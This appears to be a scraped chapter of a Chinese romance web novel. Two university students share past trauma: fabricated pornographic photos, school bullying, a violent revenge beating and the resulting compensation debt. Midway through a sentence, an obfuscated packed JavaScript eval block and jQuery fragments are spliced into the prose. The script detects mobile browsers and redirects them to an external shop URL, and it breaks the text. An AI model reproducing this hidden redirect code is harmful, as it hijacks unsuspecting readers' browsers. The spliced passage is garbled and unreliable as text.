15. 第15章

作品:《台风归镜

    “什么?”


    李双吸了吸鼻子:“之前不是说我欠了家里很多钱么,现在告诉你,数字是114万。”


    “你去搞博/彩了?”程理摩挲着下巴:“不对啊!博/彩业合法的是澳门不是香港。”


    “正经人谁去赌博。”李双低低地说:“114万是……赔偿金。


    我妈在纽约开的武馆经营不善,濒临破产,绿卡也迟迟批不下来。我初三毕业后,家里除了考上加州理工的大哥,全都回了国。


    知道能在国内上高中的时候,我不知道有多开心。一开学我就到处交朋友,参加社团。但俗话说‘笑口常开,Cheapman自然来’,有很多男生见我漂亮又开朗,给我递情书,向我告白。


    有个男生,就叫他K吧。他是我的同班同学,座位就在我后面。K的爷爷奶奶经商,妈妈是学校的国语老师,爸爸是高级警司。倍受宠爱的K性格很霸道,对同学们也是颐指气使。


    K也是想和我交往的男生之一。我讨厌他总是仗势欺人,对他没什么好脸色,可他把我的拒绝当成欲拒还迎,还让小弟们喊我‘大嫂’。”


    “有病吧。”程理说。


    “我也觉得恶心,就当着全班的面痛骂……或者说羞辱了他。他让我等着瞧,很快班里的人开始不和我说话,连足球社的朋友也回避我。


    我到现在都记得。高一校园旅行那天,我一个人坐在角落里,眼巴巴看着其他人在沙滩上打排球、合照。我鼓起勇气想加入,他们就跟白天见鬼了似的瞪着我。


    越想越气的我选择了退社,也再没参加过学校组织的旅行活动。高三快毕业的时候,一个匿名人给我发了条短信,叫我去推特搜‘香港欲女Selena’这个账号。”


    李双抱着手,肩膀微微颤抖,她注视着碗里的肉,缓慢而清晰地说:


    “Selena(赛琳娜)是我的英文名。而这个账号是个色情账号,主页都是女人衣不蔽体的照片,置顶还写了‘售价’。最重要的是——


    所有照片的脸……都是我。”


    “怎么会这样?”程理怔住了。


    “K从IG盗取我的日常自拍,非常‘聪明’地找了和我肤色相近的人进行P图,再加上厚重的滤镜,任谁看了都会以为号主真的是我。”


    “怪不得大家不和我玩呢。”李双苦涩地扬起唇:“我的高中是个天主教学校,大部分学生都很保守。在不明真相的人心里,我是个不学好、不自爱的坏学生,当然会远离我了。”


    “李双,不,小双,这不是你的错。”


    “哈……我当然知道不是我的错。”李双忧伤的面庞逐渐扭曲:“整整三年的孤立与排斥,人生唯一的高中时光,我的……我的三年青春!就因为我不愿意和K恋爱,他就残忍地毁掉了!”


    李双一拳砸在桌上,惹得路人纷纷侧目。


    “要是连这种奇耻大辱也能忍受,我就不是李双了!得知K在男厕所,我直接冲了进去。赶走无关人员,厕所里剩下K和他的七个小弟。他们不仅出言挑衅我,还推推搡搡。刚开始我很努力忍着不动手,但K……他居然说……”


    怒火随着记忆蔓延,将李双黑色的眼珠烧得通红:


    “他说‘别装了,你不就是这样的*子么’。”


    “然后你就把他揍了?”程理问。


    李双调整呼吸,风轻云淡地说:“不光他,还有剩下七个人。那天是我人生中唯一一次毫无保留地使用武力,连来拉架的体育老师也挨了我的拳头,最后我是被巡警用电/击/枪放倒的。”


    程理没说话。


    “K掉了两颗牙,鼻梁断了,头皮缝了六针,轻度脑震荡,鉴定下来是轻伤二级。他的小弟逃得快,都没有他严重。我的父母和他们的父母在学校对峙,K的妈妈,一个对儿子霸凌行为不管不顾的女人,叫嚣着要让我牢底坐穿。”


    李双阴恻恻地笑了起来:“于是我对她说‘你最好祈祷我在监狱里死掉,不然等我出来,我一定杀你全家’。”


    她又耸了耸肩:“可惜这话只说到一半,被我妈用耳光打断了。


    后来我爸低声下气地求他们签谅解书,再加上确实他们霸凌我在前。最后协商的结果是:我被判处警司警诫,而我家除了要赔医药费,还要额外支付114万港币的精神赔偿。”


    “我家是普通家庭,哪能一口气拿出114万呢?”李双无畏的面具徐徐开裂:“可拿不出来,我就要坐牢了,我妈妈不想我坐牢,她知道我想去上大学,所以……所以她把武馆卖掉了。”


    李双一字一顿说:“她把外婆留给她的,李家祖传的武馆,卖掉了。


    知道的那一刻,我真的……很难过。我跪下来,哭着求我妈不要卖掉它,也无济于事。卖掉的武馆,也没有继续当武馆——”


    李双明明笑着,眼神却那么悲伤:


    “它被铲掉了,卖家只想要那块地开冰淇淋厂。武学精神、我家的回忆,还有我妈的梦想……一切都被挖掘机碾碎了。


    本来我妈是馆主,我爸是会计。武馆没了,她们双双失业,我爸去当了巴士司机,我妈则进了小学当体育老师。有天晚上我起来上厕所,听到我妈在卧室哭,我爸安慰她,说‘就当早点退休了,以后让小双多孝敬孝敬你’。


    本来……打人这件事我一点也没有后悔。可听到我妈的哭声,我意识到自己大错特错。就和宿舍矛盾一样,明明只要忍耐就什么事也不会发生。我不会被孤立,武馆不会消失,我妈依然是德高望重的馆主。”


    “性格决定命运。”李双轻声说:“我性格太差了,所以连带着一家人的命都不好。”


    李双低着头,名为命运的冰雹侵泄而下,将她天生昂扬的脊梁压得几乎要断掉。人若天生就该顺势而为,为什么书本却要教大家“不畏强权”?若书上写的皆是谎言,学武也是一种错误,那么李双真正该在乎的是什么?


    “爽吗?”程理突然问。


    这一句话,仿佛打在K鼻梁上的一拳穿越时间与空间,击中了李双自己的脸。她喘着气反问:“你说什么?”


    “问你打得爽不爽啊。”程理为她倒上茶。


    “你、你……这……”心跳如鼓的李双语无伦次:“你不觉得我很过分么?我为了一己私欲伤害了别人,给社会造成了恶劣的影响,还把家人的生活搅得一团糟……”


    “K造你黄谣,还联合别人孤立你,你只是在反击而已。”程理笑眯眯地说:“要我说,你最大的问题不是行为,而是场合。你应该和揍KTV那伙人一样,去没有监控的小巷动手。”


    “你、你这个说法也太偏袒我了。”


    程理眨了眨眼,语气有些莫名其妙:“我既不是你妈的朋友,也不是公义的朋友,我是你李双的朋友。我不向着你向着谁?”


    李双愣愣地望着他,说不出话。


    “回答问题啊!”程理扣了扣桌面:“重拳出击的感觉爽不爽?”


    “那可真是……”李双慢慢捂住发烫的脸:


    “爽爆了!”


    “那不就好了。”程理慢条斯理地拿起筷子:“K为了让你痛苦而霸凌你,代价是被打成了猪头;你为了宣泄三年的孤独向他动手,代价是警司警诫和赔偿金;而你妈妈想要保全唯一的女儿,宁可支付失去武馆和工作的代价。三个人求仁得仁,何必后悔?”


    “程理……”李双无奈地笑了起来:“你的思维方式还真是异于常人。”


    “我只是觉得,反正事情已经发生了,与其反复咀嚼痛苦懊悔,不如向前看。”


    “不说我了,”不再手抖的李双也抄起筷子:“你上次不也说欠了钱,欠的是什么钱?”


    “保释金。”程理严肃地说:“我曾经是个江洋大盗。”


    “大陆的司法体系不存在保释金这种设定……”


    “被你发现了。”程理咧开嘴:“家里的房贷啦!30多万呢。”


    “房贷?你今年才大二,你家居然指望你还房贷?”


    “穷人的孩子早当家咯。哎!和你这种香港来的富姐解释不清。”


    “不是富姐。”李双用筷子戳着蛋黄:“卖地确实得到了一大笔钱。去掉赔款,我家建村屋的房贷,以及我们兄妹三个的学费,最后剩下的也没多少。”


    “语气也太凡尔赛了吧!”


    “什么叫凡尔赛?”


    “指讨人厌的炫耀行为!”


    无法理解程理的不满,李双选择闭嘴吃饭。


    程理往碗里猛加蒜蓉辣酱:“你微信名的S,难不成就是Selena的S?”


    “对啊。”李双紧盯飞溅的红油:“哇……你还真能吃辣,和我二哥一定很聊得来。”


    “我只是口重而已,这酱不辣的,尝尝?”


    “还是算了,我和辣椒合不来。”


    “那真是太可惜了。”程理故作惋惜地摇头:“你的微信头像为什么是黑的,也和这些事有关么?”


    “我的头像确实是黑的,但不是‘黑头像’。”李双打开相册推到对方面前:“头像是从我和浮士德的合照中截的。”


    照片中的李双抱着一条半人高的中华田园犬。浮士德体型壮硕,黑色的皮毛油光水滑,一看就是只浸泡在全家宠爱里的幸福狗子。


    程理忍不住吐槽:“先不说你怎么给狗取了这么个怪名字。当头像截取的不应该是你的部分、它的部分、或你俩合一起的部分么?你截它的大黑肚子当头像是什么意思?”


    “多可爱啊!”情绪激动的李双将狗肚子的部分疯狂放大:“小狗是世界上最可爱的生物!你的头像不也是白色萨摩耶么?算起来还是一对呢!”


    “你又乱说话!”程理气得直咳嗽:“谁头像和你是一对啊!”


    “两只都是狗,颜色还正巧一黑一白。要不是你说没那个意思,我都要以为你也暗恋我!”


    “说大话小心遭雷劈!比起暗恋你,我还是更倾向于明恋钱。”


    “为什么不喜欢我?”语出惊人的李双一脸坦然,眉宇间带着几分求知的热切:“因为我曾经骂过你,还是因为我不是你喜欢的类型?”


    “都不对。我的微信名叫‘语商通天代’,你知道什么是通天代么?是代买、代做作


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968529|193211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    业、代跑腿,只要给钱就代一切的意思。我所有的时间与精力都奉献给‘赚钱’了,没办法奉献给恋爱。”


    “太好了!”李双一拍桌子:“我就需要你这种对我毫无兴趣的无情道事业型朋友!”


    “你不知道无穷小亮,倒是知道无情道?”


    “我喜欢看小说呀。”李双笑嘻嘻地说:“我在O江的读者账号有三颗心呢!”


    漫无目的地闲扯了一会,程理忽然换了个郑重的语气开口:


    “小双,你身上发生的事,我希望你不要告诉除我以外的第二个人。”


    “啊!”李双眼睛亮亮地望着他:“这难道就是所谓的‘朋友之间的独占欲’?”


    “迟早有天被你这张嘴气折寿。”无语的程理调整好状态,继续说:“我没有任何要‘独占’你的意思。只是……向别人暴露创伤这个行为其实很危险,我不会拿你的创伤攻击你,换做别人就不一定了。


    我明白你是想倾诉,想寻求理解,但不是所有人都拥有走进你内心的资格。永远对他人有所保留吧,这是我的人生经验之一,你姑且听听。”


    “谢谢,我记住了。”李双坐直身体:“不过,你的经验是怎么来的呢?”


    “想套我话啊?”程理微微一笑。


    “怎么能叫套话呢?这叫坦诚相待!”


    “有功夫好奇我,说明你的工作还不够饱和。正好你这周六晚上没有行程,去我推荐的新地方打工吧,我保证你和它的适配度满分。”


    “切。”李双埋头吃饭,心说总有一天要让你心甘情愿告诉我一切!


    —————————


    “好累……”灰头土脸的李双坐在物流中心门口的石阶上:“蜗牛程,你还有多久到?”


    “不要乱起外号。”电话那头的程理说:“我也才通宵班结束,顺路来载你一程而已,车速太快很危险的好不好。”


    “慢吞吞程。”


    “挑衅我是吧。”


    “拖拉机程。”


    “自己回去吧。”


    “别别别。”李双晃了晃手里的塑料袋:“我贪污了两份早点,你不来吃就亏了。”


    “拿这个考验干部?行吧!还有五分钟。”


    小电驴悠悠在物流园门口停下,李双在树下抱着膝盖蜷缩着,程理按了按喇叭,她便企鹅似的左摇右晃地走了过来。


    看到她憔悴到发灰的脸,程理没忍住说:“你看起来像被妖怪吸干了精气一样。”


    “没差了。”脚步虚浮的李双把藏在怀里的早点塞给他:“物流分拣真不是人能干的活,本以为我这种人形棕熊,应该能轻松混到下班,直到我在分拣线上看到了四个石墩子,十袋农业化肥,以及无数沙发轮胎冰箱空调。


    快递分拣线绝对是世界上最男女平等的地方,大家工钱一样,要搬的石狮子数量也一样。而我们的主管,我强烈怀疑他是个机器人,搭载的语音只有‘分快点’和‘别偷懒’这两句。


    噢对了,有些死了*的商家居然网运活体快递,还不把笼子封好一点,你知道凌晨四点满厂子抓牛蛙是什么感觉吗?我知道。你知道一边分拣快递一边听鸡鸭鹅打鸣是什么感觉吗?我也知道。”


    程理没道德地笑了起来:“你看你又赚到了两百块,又增长了见识,不亏!”


    “求求了,我愿意当个没见识的土鳖。”李双翻了个白眼,坐进电瓶车后座。


    灰白的小电驴迎着初晨的风,在阳光下勇往直前,身上载着两个刚通完宵的年轻人,男孩扶着车把哈欠连连,而女孩则闭着眼睛,垂下的脑袋时不时戳在男孩肩头。


    程理瞥了眼后视镜,火速在路边停下:“喂!又没有安全带,你这样好危险的!”


    “我太困了……”


    眼看李双又要睡过去,程理咬了咬牙,把对方的手绕在自己腰间:“看在你这么可怜的份上,勉强让你占次便宜。抱紧点!中途松手摔在地上我可不管。”


    “腰还怪细的。”此刻的李双完全把男女授受不亲的教条抛之脑后,她不仅结结实实扣住了程理的腰,还把脸贴在了对方背上。


    “哇!”程理顿时起了一身鸡皮疙瘩:“你知道你身上有多脏吗!”


    “吵死了,晚点给你洗衣服不就行了……”


    “谁要你给我洗衣服啊!又没我自己洗得干净。”


    困倦的李双没再出声,程理想了想觉得在行驶的电瓶车上睡觉还是太惊悚了,于是和她搭话:


    “你还真信任我,不怕我一脚油门把你卖到电诈园?”


    “要卖早卖了。”李双头也不抬。


    “早点是你买的还是物流公司的福利?”


    “当然是福利。”


    “你怎么不多拿几份。”


    “有人看着的!我凭手速拿了两份还没被发现已经很厉害了。”


    “周日还来么?”


    “我倒是想,但恐怕心有余而力不足。”


    没话找话说了十分钟,正当口干舌燥的程理思考下一个话题时,背上的李双主动开了口:


    “程理,我喜欢你……”